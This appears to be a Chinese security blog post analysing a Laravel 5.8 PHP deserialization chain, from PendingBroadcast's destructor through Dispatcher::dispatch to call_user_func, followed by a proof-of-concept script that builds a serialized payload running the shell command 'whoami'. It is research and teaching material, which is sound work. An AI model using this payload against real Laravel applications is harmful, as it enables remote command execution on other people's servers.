laravel 5.8 反序列化漏洞分析

Include POP and EXP

Posted by SEVENTEEN on July 10, 2021

前言

   前阵子分析过用laravel 6.20框架编写的lightcms v1.5.7中的漏洞,其中所用到的是5.8版本中的phar反序列化链子, 借此来分析一下。

配置环境

   使用composer下载laravel 5.8。

dispatch()方法rce漏洞

   首先,注册一个get路由。

   接着,写好路由中触发的控制器。

   来到触发点PendingBroadcast类中的__destruct()方法。 可以看到这里的$this->events跟$this->event可控。

   寻找一个有dispatch()方法的类,这里$this->events构造为Dispatcher类,跟随变量流向来到Dispatcher类中。 众所周知,这里的dispatch()方法是个好东西,里面调用了$this->dispatchToQueue()方法,可以用来调用任意类(虽然我没复现之前不知道)。

   不过,要想调用$this->dispatchToQueue()方法还需要构造if中的两个条件为true。第一个条件$this->queueResolver直接赋值即可, 这里讲一下第二个条件$this->commandShouldBeQueued($command)怎么构造。

   来到$this->commandShouldBeQueued($command)方法中,可以看到$command是类名,这里要返回一个ShouldQueue接口类, 全局find usage找一个ShouldQueue接口类,把类名赋值给$command就行。

   接着,便进入if条件调用$this->dispatchToQueue($command)方法了。

   可以看到$this->queueResolver是call_user_func()函数中的第一个参数,$connection为第二个参数。 $this->queueResolver是Dispatcher类中的成员变量,这里直接覆盖就可以了。 而$connection是由$command->connection赋值过来的,$command又是由上面$this->ShouldBeQueued($command)方法返回的ShouldQueue接口类。 所以只要给ShouldQueue接口类中的成员变量($this->connection)赋值即可。

POC

<?php

namespace Illuminate\Broadcasting {

    use Illuminate\Bus\Dispatcher;

    class PendingBroadcast
    {

        protected $events;
        protected $event;

        public function __construct($obj_destruct, $obj_implements)
        {
            $this->events = $obj_destruct;
            $this->event = $obj_implements;
        }

        public function __destruct()
        {
            $this->events->dispatch($this->event);
        }
    }

    $obj_destruct = new Dispatcher();
    $obj_implements = new BroadcastEvent('17');
    $pwn = new PendingBroadcast($obj_destruct, $obj_implements);
    echo urlencode(serialize($pwn));
}

namespace Illuminate\Bus {

    use Illuminate\Contracts\Queue\ShouldQueue;

    class Dispatcher
    {
        protected $queueResolver = 'system';

        public function dispatch($command)
        {
            if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
                return $this->dispatchToQueue($command);
            }
        }

        protected function commandShouldBeQueued($command)
        {
            return $command instanceof ShouldQueue;
        }

        public function dispatchToQueue($command)
        {
            $connection = $command->connection ?? null;

            $queue = call_user_func($this->queueResolver, $connection);
        }
    }
}

namespace Illuminate\Broadcasting {

    class BroadcastEvent
    {
        public $connection = 'whoami';
    }
}

There Is Nothing Below

   

Turn at the next intersection.